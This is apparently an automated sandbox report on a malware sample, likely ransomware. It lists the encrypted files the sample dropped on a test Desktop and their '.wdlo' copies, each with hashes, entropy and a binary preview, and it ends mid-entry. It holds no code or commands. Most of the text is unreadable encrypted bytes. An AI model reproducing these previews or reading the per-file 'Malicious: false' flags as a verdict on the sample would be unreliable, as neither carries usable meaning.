(?....b...........@...s...}.{\..!&.x..K.D..>d.......,sk3.J.V~I%.Z.b[.W....{.#_.).x...x..U{u].8.f!...#W..0A.x9.l.9.O...q.7....{...O.@..#..n...M..w...d..H..}.....k.`.n........~+..v..(vd......>.o......f...5.9At...L....G.9.....{.U..\..j.j3..Jv..t..QY..Y./[...5R..N.s...)v.......v$......Ea9..x...`+..Gd

C:\Users\user\Desktop\GRXZDKKVDB.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828397332019388
Encrypted:	false
SSDEEP:	24:sH/6Jwswnl88mVOhA6rDmS2xYFir1JI7yUpiPcOv51zv2j/3ywbLkVVGyBmCT3zX:sH/qFwC8mT6eSXir1JI7ScOv5t+3yzVb
MD5:	DD506C9E12A92B31335A137CB1116970
SHA1:	C5E609E268F8166366B9425D2D3C28F46B51F09A
SHA-256:	F1B21A58BE8860A68BC001F6FB8A18171A0CB3DB73A951EA04A8CBD83878324C
SHA-512:	ECBBE9D33DE250657798AEDC92EA81ADE496A60C928696AB72178D1A60856371AA495AAA0DD712812414B8970BD2CD6396D1B658517B2F361232A365326B1DFE
Malicious:	false
Preview:	GRXZD!.P5...0.%.]...J{...)...2...E..L.?1.O...,H.eno>..e..5m-.n..........#"..)6wjL.h..~/..9....}..r.9...l.9.....bN....PS...:......W.r..EK...S!.Bj....4^..#.&{.yB......;.r.gVb!Dj.N.....,...5.P..d.A@.<QW...,...cx.?Rd.....mc+..N.,!.k..[.1....u..q..{c.e.:./Q.L.ds..P.vz.8..&P.>...P.]D.s......Sn........h._...Bn...->.@..]....vz..r.h.Z\|....cQ.NF...8z.Z..k.]....]...a.E..,...-b.6..&.....R.mY..Q...>......\Cn;f.I......:...'..W...*......Q.YihIsa.......eY...!.]..Org...J`p.P....(...../......]oJ...=/t.vbe2r/.7..:r.`....-OJ...k...CiD...x.Yi`a.F.w6.1...).Y=Wi......eeA...Bc.y.D....H.l.8...Z.9....r.D....p.+}.'&R.S.......=...7...........u..CL(Y..U........Y`.....>f (?....b...........@...s...}.{\..!&.x..K.D..>d.......,sk3.J.V~I%.Z.b[.W....{.#_.).x...x..U{u].8.f!...#W..0A.x9.l.9.O...q.7....{...O.@..#..n...M..w...d..H..}.....k.`.n........~+..v..(vd......>.o......f...5.9At...L....G.9.....{.U..\..j.j3..Jv..t..QY..Y./[...5R..N.s...)v.......v$......Ea9..x...`+..Gd

C:\Users\user\Desktop\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862118331229822
Encrypted:	false
SSDEEP:	24:NtrRd6/4KWQOgNN8BzcNYOVxEwc4mqyw4HMVFXNEwbYAyi1rJJthFT3zbD:NNQ4KrjNsciODEwc4asV9yiFJJthFT3D
MD5:	BB0F3322D912C043D45A3691C1EDA62F
SHA1:	CF5CBC03FA764F699BACBE472DA8E78272B527AE
SHA-256:	50BCF27EC4003EA1BB43EAA7FDB30422A8B873938C89145C5F1404FFED0A3916
SHA-512:	29771BBD15929314571EFA07D05FF945B6D2A0B1AF3857963D4C690EEA1C002591C2F1BC4378C22CFCEAB08EC2743AAC1406358F7511A4A3969C886F730D4891
Malicious:	false
Preview:	GRXZD..kH..^. ..$..1O.]o..M......>".L.k.....k...3..`)0\..0....D......H..6[a..6..."...d..y<(.o...W.t.,..;......q6Xm.k..#..7..AI....}.K...c.qp.8Ui...MC..;!w1.}.G..c..?@.i.B.....-T.-.;^$.+s...ZT.....J..G..AA.:..?..y.[H.....#:...6.N....`.......O...~..2...Y...vcC..u.z...........TJq0..$os..e.&DF.x......y9&1.Aj..C. .1M0..dPz..R...7f@.H..F.N.F6jE..6....U.....).....:x...5>...O..~'..=.._.K~G...B..L.......B..2n._.hL.....0..,;...._.&..D.T..e.w..n.`.#9p...L>.......P...JZ]`._.~.e..R.RfD).s'j....4d.%.&m.E.P...$..ONFC..6...h5....\|...\|72p..]a.S`..'..i..q.E;...$....^..C.T5(....m4!...I&.!./M!....a#.y..'.s#.0.}..U.<....[....xD.......B....2K....U..fp.3...u^Z...J..'...4$..+a..}(...... '<..oFA.].7P.j...fQP^....V$y.J"c\.. 0.s.K..]..+.0.o.S...a.g+.....w&_;.L...^_b!..I...2...L.......f8.r..Y-b.s...9..,Ua..-...L.aN...B.;tX.R"..J7j...Q$..=%......@.X.+7N... .\|..O1V....u.g...4[Z.....x.e-#..k.I..;....t.n..;..-.f.xKb1.-S.@A.b...#...:.Ui/`..)..?.Lr...........C.O~}q.._

C:\Users\user\Desktop\GRXZDKKVDB.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862118331229822
Encrypted:	false
SSDEEP:	24:NtrRd6/4KWQOgNN8BzcNYOVxEwc4mqyw4HMVFXNEwbYAyi1rJJthFT3zbD:NNQ4KrjNsciODEwc4asV9yiFJJthFT3D
MD5:	BB0F3322D912C043D45A3691C1EDA62F
SHA1:	CF5CBC03FA764F699BACBE472DA8E78272B527AE
SHA-256:	50BCF27EC4003EA1BB43EAA7FDB30422A8B873938C89145C5F1404FFED0A3916
SHA-512:	29771BBD15929314571EFA07D05FF945B6D2A0B1AF3857963D4C690EEA1C002591C2F1BC4378C22CFCEAB08EC2743AAC1406358F7511A4A3969C886F730D4891
Malicious:	false
Preview:	GRXZD..kH..^. ..$..1O.]o..M......>".L.k.....k...3..`)0\..0....D......H..6[a..6..."...d..y<(.o...W.t.,..;......q6Xm.k..#..7..AI....}.K...c.qp.8Ui...MC..;!w1.}.G..c..?@.i.B.....-T.-.;^$.+s...ZT.....J..G..AA.:..?..y.[H.....#:...6.N....`.......O...~..2...Y...vcC..u.z...........TJq0..$os..e.&DF.x......y9&1.Aj..C. .1M0..dPz..R...7f@.H..F.N.F6jE..6....U.....).....:x...5>...O..~'..=.._.K~G...B..L.......B..2n._.hL.....0..,;...._.&..D.T..e.w..n.`.#9p...L>.......P...JZ]`._.~.e..R.RfD).s'j....4d.%.&m.E.P...$..ONFC..6...h5....\|...\|72p..]a.S`..'..i..q.E;...$....^..C.T5(....m4!...I&.!./M!....a#.y..'.s#.0.}..U.<....[....xD.......B....2K....U..fp.3...u^Z...J..'...4$..+a..}(...... '<..oFA.].7P.j...fQP^....V$y.J"c\.. 0.s.K..]..+.0.o.S...a.g+.....w&_;.L...^_b!..I...2...L.......f8.r..Y-b.s...9..,Ua..-...L.aN...B.;tX.R"..J7j...Q$..=%......@.X.+7N... .\|..O1V....u.g...4[Z.....x.e-#..k.I..;....t.n..;..-.f.xKb1.-S.@A.b...#...:.Ui/`..)..?.Lr...........C.O~}q.._

C:\Users\user\Desktop\GRXZDKKVDB\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827516899702019
Encrypted:	false
SSDEEP:	24:prkgPxBr9z9Y9FvJMvVFVjr6jB5XqKcgJ8EGSp2Ueokh3XFGUpMAJ53zbD:pPPx+9tJ6vF61JUC8keoI5pdD3nD
MD5:	1AC2CFAE465F8BBA551852C1259E9B6D
SHA1:	5170FB1284D5211340A4576726C5F2D5D5E77A3A
SHA-256:	6CB433A5079E6A3EDFF5614BD21D278622CB66E5D1C9A8FE8E99633038CEC7F2
SHA-512:	E08964E174F6A2C1474B46A8C71409DEF8717CB3320220757590F612DD0F429C8DEC327879FBF43D8D08C1B227323B55AC416254C5B44C0085250B57FBA3F4DE
Malicious:	false
Preview:	DUUDT...^H^.i=.LF.}x=...<.%1....O........xr'.E....-HHl....\.....<1.>..T..m".h........^..#.........{.J...W..gF.J.....\...\...Sc..Z.k..........U.....S..Y....x..a8C.!.....I.iA}].@=...k/..-..[......f1...L.p...HJ`>O...$d.<.......yL.9...!d..X....^..ZF>..G..Y&.L..wP.....!q.G.T.....D..v..QC6b-\.........F.O...y7.3...">..V.RW3....>.F.......=%V.....7L..J.Tru.N.>.t=...p....O.i.3Zy..i...UJ...}...G.z.o.....{kbG..VD.~.A.]^l..c...[....i.bL.y...o.}K.!/.0..>..W_..%...z`.....t.=[oE<.Z4I.....;..Z...T. ..D.K...t\|G%..p..PrK`.(....].L..2e.3.O..R..$...S.f..'"..b-X;vsF....Z..:<X.....(.{..in....f`m.Y......0n...R...D.>..A.<..x...xbd.ps...ov..f..u.rJ.....-c0.2.......b7......6.B:...09A..:..~~n.C...g._../K.?!k.l..bz..F[\|.....I..I.C..g.?T...Uz.@2.J.z....5..^.v.1m[t.........~..Th...~...n^b..8r.'..J[l.y.......&.{.kz.../;l..6.:....U.Yh.pH.6..}.r..b....Z......L%.IX>\.A%.kpT...`x.....].rD;...L..s.K.S.^.K.....}%..9.K,....>$4...Q.].....z.$..p....%.S.j.G.....Cy42..

C:\Users\user\Desktop\GRXZDKKVDB\DUUDTUBZFW.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.827516899702019
Encrypted:	false
SSDEEP:	24:prkgPxBr9z9Y9FvJMvVFVjr6jB5XqKcgJ8EGSp2Ueokh3XFGUpMAJ53zbD:pPPx+9tJ6vF61JUC8keoI5pdD3nD
MD5:	1AC2CFAE465F8BBA551852C1259E9B6D
SHA1:	5170FB1284D5211340A4576726C5F2D5D5E77A3A
SHA-256:	6CB433A5079E6A3EDFF5614BD21D278622CB66E5D1C9A8FE8E99633038CEC7F2
SHA-512:	E08964E174F6A2C1474B46A8C71409DEF8717CB3320220757590F612DD0F429C8DEC327879FBF43D8D08C1B227323B55AC416254C5B44C0085250B57FBA3F4DE
Malicious:	false
Preview:	DUUDT...^H^.i=.LF.}x=...<.%1....O........xr'.E....-HHl....\.....<1.>..T..m".h........^..#.........{.J...W..gF.J.....\...\...Sc..Z.k..........U.....S..Y....x..a8C.!.....I.iA}].@=...k/..-..[......f1...L.p...HJ`>O...$d.<.......yL.9...!d..X....^..ZF>..G..Y&.L..wP.....!q.G.T.....D..v..QC6b-\.........F.O...y7.3...">..V.RW3....>.F.......=%V.....7L..J.Tru.N.>.t=...p....O.i.3Zy..i...UJ...}...G.z.o.....{kbG..VD.~.A.]^l..c...[....i.bL.y...o.}K.!/.0..>..W_..%...z`.....t.=[oE<.Z4I.....;..Z...T. ..D.K...t\|G%..p..PrK`.(....].L..2e.3.O..R..$...S.f..'"..b-X;vsF....Z..:<X.....(.{..in....f`m.Y......0n...R...D.>..A.<..x...xbd.ps...ov..f..u.rJ.....-c0.2.......b7......6.B:...09A..:..~~n.C...g._../K.?!k.l..bz..F[\|.....I..I.C..g.?T...Uz.@2.J.z....5..^.v.1m[t.........~..Th...~...n^b..8r.'..J[l.y.......&.{.kz.../;l..6.:....U.Yh.pH.6..}.r..b....Z......L%.IX>\.A%.kpT...`x.....].rD;...L..s.K.S.^.K.....}%..9.K,....>$4...Q.].....z.$..p....%.S.j.G.....Cy42..

C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.pdf

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84834653985003
Encrypted:	false
SSDEEP:	24:R+AFxVe7T5MQs9Uin1rwhp8Ek4DeI4UUrzlSqnPxgzt8Ay0z+7tDMXqBsc47Nh3D:dV2Ml9U018hp8ueI4UeltnPyt8A7+79e
MD5:	C1554591AA16E09D2B6034EC46829DE9
SHA1:	377C1D7F3ADF8F70D7F6950B6EAA68C49C9952F6
SHA-256:	73A1A42397155020A6F82BA5626171F9B4655E1FC3E414CF2B44010EC7BB3413
SHA-512:	3F6F225F0C690D708E8A2A1D4D28F20B2BBF2146BB7C5047F61AECFA53EA044E33DCCD95AAC63CFF6B9B5B4F10FCCCC24EBAEFC418882DB721B426AFB830BDAC
Malicious:	false
Preview:	EIVQS.....^...es.....I..8..\|..o.%.R........F...s...J.9..O;....~tI.W...9.LP.u.I.5..J.m.^.!....%=c.^`........'\|......B...H{....."I.....5..s\...\|...b.M...R ...t..D.....q...K{T)..FM9[.y.].uS..6..z&.[...^+..Nr;\.......].\.....Bn..%.`".t+......2H..(...qf.O...Y...2..gb.j.{..;...j..h.%...]$F..xOY6..9H..=A/\....=U...KO.`..Q.b.p......'.....E\|wD.f.....9_...2k.U.)..c{I........(..C6PV...../%>..&RJR.Z.%.].g....O...B.....!.eK=Iz\|..".......m."I{Te.y...U`&.s}s.P.w........cO...";..+.bba....g...j.,.n.........T..b[.pE...FN...O.......M..`.y.o..9..}.j.~C.u#./....PX ....;.f...P..X...M.P&.U..r....n....7.=...e%P..i.9pw.A...b..A.@~pN.+7Juw?6.wtW..{......".....~....Q...{.......6..t.U..`i.NO.\|P..w.k.....v..ZV...Y.w%\|..S..u...v...?.o.p.c.L.v.........m.~...C..T.Zq...$_um.'...C..9..].>vh..m...t.....k.1+.N.....<.Ks.U.....;..d;.B...4.\...o.0.*.0.).H..0.....+..Be. /-b.:.O...#..S.!(G.~7p.?.EY.8m'..gn+B.;..g..3.e.]...7..I.y...}#.;.A..U%n.t.1..Ri6_.=..T....k....[..

C:\Users\user\Desktop\GRXZDKKVDB\EIVQSAOTAQ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84834653985003
Encrypted:	false
SSDEEP:	24:R+AFxVe7T5MQs9Uin1rwhp8Ek4DeI4UUrzlSqnPxgzt8Ay0z+7tDMXqBsc47Nh3D:dV2Ml9U018hp8ueI4UeltnPyt8A7+79e
MD5:	C1554591AA16E09D2B6034EC46829DE9
SHA1:	377C1D7F3ADF8F70D7F6950B6EAA68C49C9952F6
SHA-256:	73A1A42397155020A6F82BA5626171F9B4655E1FC3E414CF2B44010EC7BB3413
SHA-512:	3F6F225F0C690D708E8A2A1D4D28F20B2BBF2146BB7C5047F61AECFA53EA044E33DCCD95AAC63CFF6B9B5B4F10FCCCC24EBAEFC418882DB721B426AFB830BDAC
Malicious:	false
Preview:	EIVQS.....^...es.....I..8..\|..o.%.R........F...s...J.9..O;....~tI.W...9.LP.u.I.5..J.m.^.!....%=c.^`........'\|......B...H{....."I.....5..s\...\|...b.M...R ...t..D.....q...K{T)..FM9[.y.].uS..6..z&.[...^+..Nr;\.......].\.....Bn..%.`".t+......2H..(...qf.O...Y...2..gb.j.{..;...j..h.%...]$F..xOY6..9H..=A/\....=U...KO.`..Q.b.p......'.....E\|wD.f.....9_...2k.U.)..c{I........(..C6PV...../%>..&RJR.Z.%.].g....O...B.....!.eK=Iz\|..".......m."I{Te.y...U`&.s}s.P.w........cO...";..+.bba....g...j.,.n.........T..b[.pE...FN...O.......M..`.y.o..9..}.j.~C.u#./....PX ....;.f...P..X...M.P&.U..r....n....7.=...e%P..i.9pw.A...b..A.@~pN.+7Juw?6.wtW..{......".....~....Q...{.......6..t.U..`i.NO.\|P..w.k.....v..ZV...Y.w%\|..S..u...v...?.o.p.c.L.v.........m.~...C..T.Zq...$_um.'...C..9..].>vh..m...t.....k.1+.N.....<.Ks.U.....;..d;.B...4.\...o.0.*.0.).H..0.....+..Be. /-b.:.O...#..S.!(G.~7p.?.EY.8m'..gn+B.;..g..3.e.]...7..I.y...}#.;.A..U%n.t.1..Ri6_.=..T....k....[..

C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833260856994863
Encrypted:	false
SSDEEP:	24:55zVSx9JKvrlsMd0T1+d/SyS8KzwbiS5QbvyfMH+OaCZDUitwWw0DRjzr7uf6KbQ:5rq9JCpNC+JSvu2SaleC9sj0D9utk33D
MD5:	F3E3C2B996A6634F4DCE2CCBFE5CCE67
SHA1:	25F63D28409251BF83CA364B59D0848492A259C3
SHA-256:	FA6B80A9AE643E234FCC553D02592103219BBEB150C41DE465021417FFEA8DD6
SHA-512:	55C14A6DC16D4EFEF1B5602BF31D53768E8D4B80661CBC8AE1CADCB0B4E3BDD11CFDB98C563347BF13A413DCDE095019CD428A9128DFA5C12D8CEFEEC48C7AC0
Malicious:	false
Preview:	GRXZD....`Ojr....3+.{.;.N}.8.....Y..Yn.....E;_...+..;v...I...h1..M.T.)K@h1...y.s..Kfc..1m9......\._r..C...u&..D....V.....&<...S.........tA.g.-.....NRO"A....\r!.p`...........6..2...?x~....^.....8......#...I!%.!....\".Y.B....?..!....5C..u.=P...Fk>.T.+.IR...Y.g.n8qx.@G..$..^...Y....$..xM?.....(..H.=D..[=....z.........6"...Bn(.....i...EvCt,.%....Q.<..:.,...Fa........#.G.aH.Rm.. ..8`\%.T.vp&..R....u6..I#]=....R.>....HE.R...iR.W.(.?r.F....V.(.\\|......{...70...iYd..0..rIu...FS.,_...g..@..@.y.. ..a.\|.v.`w...`......aX.. ..H6:B{...8R.lV..A...6._...lG.j..u=....).m0...K#...'...f.@..tA0....f?!..R..y.7....,E...Y7.....{.x.Y...." 'P.7.9.2..........e..~..A.....dw.z..B.._U`..Af..........=.l..>.+..d..M.......\|....c..i.ni...d..B..4Te.L!6.....f!]...`.....@...9.....9m.k=..v7..jQJ..x.>...._.B.N....y&~.........9.Jy.....En...M~....S#.7.B1.N.C.....9c4.!..W.1.1.Ks..k....#.......8..1.}JDr.....&-K......]..9...I:.g.P..q!..\........N....U...f.p....E

C:\Users\user\Desktop\GRXZDKKVDB\GRXZDKKVDB.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833260856994863
Encrypted:	false
SSDEEP:	24:55zVSx9JKvrlsMd0T1+d/SyS8KzwbiS5QbvyfMH+OaCZDUitwWw0DRjzr7uf6KbQ:5rq9JCpNC+JSvu2SaleC9sj0D9utk33D
MD5:	F3E3C2B996A6634F4DCE2CCBFE5CCE67
SHA1:	25F63D28409251BF83CA364B59D0848492A259C3
SHA-256:	FA6B80A9AE643E234FCC553D02592103219BBEB150C41DE465021417FFEA8DD6
SHA-512:	55C14A6DC16D4EFEF1B5602BF31D53768E8D4B80661CBC8AE1CADCB0B4E3BDD11CFDB98C563347BF13A413DCDE095019CD428A9128DFA5C12D8CEFEEC48C7AC0
Malicious:	false
Preview:	GRXZD....`Ojr....3+.{.;.N}.8.....Y..Yn.....E;_...+..;v...I...h1..M.T.)K@h1...y.s..Kfc..1m9......\._r..C...u&..D....V.....&<...S.........tA.g.-.....NRO"A....\r!.p`...........6..2...?x~....^.....8......#...I!%.!....\".Y.B....?..!....5C..u.=P...Fk>.T.+.IR...Y.g.n8qx.@G..$..^...Y....$..xM?.....(..H.=D..[=....z.........6"...Bn(.....i...EvCt,.%....Q.<..:.,...Fa........#.G.aH.Rm.. ..8`\%.T.vp&..R....u6..I#]=....R.>....HE.R...iR.W.(.?r.F....V.(.\\|......{...70...iYd..0..rIu...FS.,_...g..@..@.y.. ..a.\|.v.`w...`......aX.. ..H6:B{...8R.lV..A...6._...lG.j..u=....).m0...K#...'...f.@..tA0....f?!..R..y.7....,E...Y7.....{.x.Y...." 'P.7.9.2..........e..~..A.....dw.z..B.._U`..Af..........=.l..>.+..d..M.......\|....c..i.ni...d..B..4Te.L!6.....f!]...`.....@...9.....9m.k=..v7..jQJ..x.>...._.B.N....y&~.........9.Jy.....En...M~....S#.7.B1.N.C.....9c4.!..W.1.1.Ks..k....#.......8..1.}JDr.....&-K......]..9...I:.g.P..q!..\........N....U...f.p....E

C:\Users\user\Desktop\GRXZDKKVDB\KLIZUSIQEN.jpg

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843257489838767
Encrypted:	false
SSDEEP:	24:bCBH9VuHHa82/WQa7YPjL3E56ebvwStliC190V3QfDTr8z+8ZtmqmWlsg20x3zbD:IWmWQLPPOlwyN3KQ/adtmqmWlx20x3nD
MD5:	27A4AAF7F0687A5636104E458AE5EC31
SHA1:	300D952D6E276C70B46418C8494BA3FD372AA9E3
SHA-256:	AA3D28134E31D89424DE1DA492189094AD07B2530D92556DF1CCEF21654764F9
SHA-512:	79178099DF50295115C39A2FCCC1F1C53F4068EC9605CD48364BFE81882DD05A6995D83CB283D3BEBB30B39FB4849ECB97893198AE63FAD04716B0A98DFAF255
Malicious:	false
Preview:	KLIZU..T.+........U....!.B.E.@.z@..(,....].>p...U.W.?Ef.?.).-.&-6y.n....}\.....o...6l.Y].g.%....CW$&i...D..e?n....R.....O\|#R-..d..S1+.....1..G.....r.cM2._....4.u/....mc....6..L..Qpn....}.....3....~...<r..5.5..LD.YX\.a.oW...s.k1.Xj.......r............X.R....no.{..O..>..'...-.M....y....W..p.\z....=..?...3?E0.Z.sl?$.3...m....;Si."..X\|.....(..qG.5-..\........#6....\|G;U....I.............-.s!Y._.YKt..Xo....}.vv.$...v......uI..g...O.s.a2..?...a.F...i......3.dT.xG...0.....h@..U...J.l.....>......W..,.b._q...g....A$.D9y8.\|....C....72.........%...Q..@>&.i.&...;.%G.G...M.n]G..J.,W....!X.......>.d.t........c.....j.q....3kW...:..g..9..x..#.....j...a^.....r.s)dU!....67..].iV2.]..K.&O.&h....$UDrCp...(t.....H..2..../....a..`J..W(D...i...5.K.....PILl.......'...SJ.....0.?..r...~OX{...cO.....>F..t....k3C...I...J>..e.+...9...C..F.f.....].]xm^Y.C.,Es.]..X.....\|... .......E.h...<i=:.~..b....>..kN..".".g6....lf2..#wE.....J^.71.H...l..Va..nk$..S.'m.M.1.g..m.5.

C:\Users\user\Desktop\GRXZDKKVDB\KLIZUSIQEN.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843257489838767
Encrypted:	false
SSDEEP:	24:bCBH9VuHHa82/WQa7YPjL3E56ebvwStliC190V3QfDTr8z+8ZtmqmWlsg20x3zbD:IWmWQLPPOlwyN3KQ/adtmqmWlx20x3nD
MD5:	27A4AAF7F0687A5636104E458AE5EC31
SHA1:	300D952D6E276C70B46418C8494BA3FD372AA9E3
SHA-256:	AA3D28134E31D89424DE1DA492189094AD07B2530D92556DF1CCEF21654764F9
SHA-512:	79178099DF50295115C39A2FCCC1F1C53F4068EC9605CD48364BFE81882DD05A6995D83CB283D3BEBB30B39FB4849ECB97893198AE63FAD04716B0A98DFAF255
Malicious:	false
Preview:	KLIZU..T.+........U....!.B.E.@.z@..(,....].>p...U.W.?Ef.?.).-.&-6y.n....}\.....o...6l.Y].g.%....CW$&i...D..e?n....R.....O\|#R-..d..S1+.....1..G.....r.cM2._....4.u/....mc....6..L..Qpn....}.....3....~...<r..5.5..LD.YX\.a.oW...s.k1.Xj.......r............X.R....no.{..O..>..'...-.M....y....W..p.\z....=..?...3?E0.Z.sl?$.3...m....;Si."..X\|.....(..qG.5-..\........#6....\|G;U....I.............-.s!Y._.YKt..Xo....}.vv.$...v......uI..g...O.s.a2..?...a.F...i......3.dT.xG...0.....h@..U...J.l.....>......W..,.b._q...g....A$.D9y8.\|....C....72.........%...Q..@>&.i.&...;.%G.G...M.n]G..J.,W....!X.......>.d.t........c.....j.q....3kW...:..g..9..x..#.....j...a^.....r.s)dU!....67..].iV2.]..K.&O.&h....$UDrCp...(t.....H..2..../....a..`J..W(D...i...5.K.....PILl.......'...SJ.....0.?..r...~OX{...cO.....>F..t....k3C...I...J>..e.+...9...C..F.f.....].]xm^Y.C.,Es.]..X.....\|... .......E.h...<i=:.~..b....>..kN..".".g6....lf2..#wE.....J^.71.H...l..Va..nk$..S.'m.M.1.g..m.5.

C:\Users\user\Desktop\GRXZDKKVDB\NWCXBPIUYI.mp3

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846898635906348
Encrypted:	false
SSDEEP:	24:fETKxuW4WHKncX6h8F8PKFaupf4iIYXEwqh4Os6nHM9EQz6v45GNBqfhE74+RcnT:fwq4be6h8FRjmrlh4Os6s9zp5G0E7E3D
MD5:	4AC1B25E2DFE65B73B60E44FE9DFA366
SHA1:	7BABADFD306A46F859E2AB2EAEEF638570257613
SHA-256:	8BE5A5A1A13103D7D874A55A438060C5D38674E8B0CA10A15B16CC349DF403D5
SHA-512:	44BAB64A063F5E008F8CAC07F53C697BF3A24F05D27F80CFC63CE93D3ACC3DD7B9529C4B5BA2B2A6D4458F41D2167983E18B24AE2B8E81C39DE96B070DA09D18
Malicious:	false
Preview:	NWCXB.>.bW..D...2O^ .a}m..WU.U.....tF.......$f....N[.0V.}..\A..]oU....S..@]Oy.....9.U.mb.+i..Y(Pb.q.R.=..\D2..EzJ(q.dW....rm.{~;[<...>......J..f..a. G..e..W.u..V...w...`...U..u... R$o.q..W.-q....S.Tz.d$(......n*.+p.a........L._.#.L......,ZL........5...?.1.."v.+U.It46.......HjY.......s.......<..P......`.t<..!.?@.Az..m`8).2...x...2...-Y..$...<.<_....d...X...W0...S.u.......;q..y)....nF.t,...."..X.6..B.0..QvT.=\.c..V.0...(..+..<q..H..u.~..i%.oh....#b........S.v.........j.a..Mqt".&..W.7.._.k..Bi6....;=.F."..n....n.....m0....V.F..5.l..a1@..Z.!.;w...}.B.6(.Z.I.<..!........3..Y}.]...!y}.;....3.j.hd.T..x?qs~..7..>..0Z{K..h...o-.D.:td./...n..F.2....=......c.-...c..S..mL.H..F.G...]u.....@S......&.wY..._......WH..Y...)......."l.Hw.........W.\|...us.....9.ku.y.B`4dzH.(.............\1.r$..Y.%f.P...%;...&(,Z.e..... _.F.!...+...U.......,y.c.C..S3<.Vc..5p..['....I.....z..z.a.......{.ezf7.1..X7..3.tV.OL.O3RUiF..u...E$R......._..Y.@K.O'....b.Dg7#3..._...A

C:\Users\user\Desktop\GRXZDKKVDB\NWCXBPIUYI.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846898635906348
Encrypted:	false
SSDEEP:	24:fETKxuW4WHKncX6h8F8PKFaupf4iIYXEwqh4Os6nHM9EQz6v45GNBqfhE74+RcnT:fwq4be6h8FRjmrlh4Os6s9zp5G0E7E3D
MD5:	4AC1B25E2DFE65B73B60E44FE9DFA366
SHA1:	7BABADFD306A46F859E2AB2EAEEF638570257613
SHA-256:	8BE5A5A1A13103D7D874A55A438060C5D38674E8B0CA10A15B16CC349DF403D5
SHA-512:	44BAB64A063F5E008F8CAC07F53C697BF3A24F05D27F80CFC63CE93D3ACC3DD7B9529C4B5BA2B2A6D4458F41D2167983E18B24AE2B8E81C39DE96B070DA09D18
Malicious:	false
Preview:	NWCXB.>.bW..D...2O^ .a}m..WU.U.....tF.......$f....N[.0V.}..\A..]oU....S..@]Oy.....9.U.mb.+i..Y(Pb.q.R.=..\D2..EzJ(q.dW....rm.{~;[<...>......J..f..a. G..e..W.u..V...w...`...U..u... R$o.q..W.-q....S.Tz.d$(......n*.+p.a........L._.#.L......,ZL........5...?.1.."v.+U.It46.......HjY.......s.......<..P......`.t<..!.?@.Az..m`8).2...x...2...-Y..$...<.<_....d...X...W0...S.u.......;q..y)....nF.t,...."..X.6..B.0..QvT.=\.c..V.0...(..+..<q..H..u.~..i%.oh....#b........S.v.........j.a..Mqt".&..W.7.._.k..Bi6....;=.F."..n....n.....m0....V.F..5.l..a1@..Z.!.;w...}.B.6(.Z.I.<..!........3..Y}.]...!y}.;....3.j.hd.T..x?qs~..7..>..0Z{K..h...o-.D.:td./...n..F.2....=......c.-...c..S..mL.H..F.G...]u.....@S......&.wY..._......WH..Y...)......."l.Hw.........W.\|...us.....9.ku.y.B`4dzH.(.............\1.r$..Y.%f.P...%;...&(,Z.e..... _.F.!...+...U.......,y.c.C..S3<.Vc..5p..['....I.....z..z.a.......{.ezf7.1..X7..3.tV.OL.O3RUiF..u...E$R......._..Y.@K.O'....b.Dg7#3..._...A

C:\Users\user\Desktop\GRXZDKKVDB\QCOILOQIKC.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
